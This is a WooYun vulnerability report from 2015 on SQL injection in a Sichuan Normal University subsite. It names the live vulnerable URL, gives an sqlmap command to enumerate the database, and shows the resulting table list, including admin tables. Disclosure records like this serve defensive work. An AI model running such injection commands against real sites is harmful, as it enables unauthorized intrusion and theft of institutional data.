当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0100593

漏洞标题：川师文理学院某分站发现注入漏洞

相关厂商：四川师范大学

漏洞作者： 小爷我抽不死你

提交时间：2015-03-11 17:02

修复时间：2015-03-16 17:04

公开时间：2015-03-16 17:04

漏洞类型：SQL注射漏洞

危害等级：低

自评Rank：3

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-11： 细节已通知厂商并且等待厂商处理中
2015-03-16： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

川师文理学院终身教育学院sql server注入导致数据库大量重要信息泄露

详细说明：

注入地址：

http://zsjyxy.scnucas.com/system/zyjd/indexDetails.asp?Id=7


1.PNG


可进后台

2.PNG

漏洞证明：

Sqlmap -u "http://zsjyxy.scnucas.com/system/zyjd/indexDetails.asp?Id=7" --tables -D "zsjyxy"

1.PNG


获取数据库中的表

Database: zsjyxy
[29 tables]
+----------------------------+
| dbo.About                  |
| dbo.D99_CMD                |
| dbo.D99_REG                |
| dbo.D99_Tmp                |
| dbo.FAQ                    |
| dbo.Flash                  |
| dbo.Link                   |
| dbo.Link_Cate              |
| dbo.News                   |
| dbo.News_Cate              |
| dbo.SchoolCooperation      |
| dbo.SchoolCooperation_Cate |
| dbo.admin                  |
| dbo.comd_list              |
| dbo.config                 |
| dbo.gjhzjlzx               |
| dbo.gjhzjlzx_Cate          |
| dbo.jiaozhu                |
| dbo.sfks                   |
| dbo.sfks_cate              |
| dbo.sqlmapoutput           |
| dbo.sysconstraints         |
| dbo.syssegments            |
| dbo.zxbm                   |
| dbo.zxbm_cate              |
| dbo.zxks                   |
| dbo.zxks_Cate              |
| dbo.zyjd                   |
| dbo.zyjd_Cate              |
+----------------------------+

修复方案：

O(∩_∩)O~

版权声明：转载请注明来源 小爷我抽不死你@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-03-16 17:04

厂商回复：

最新状态：

暂无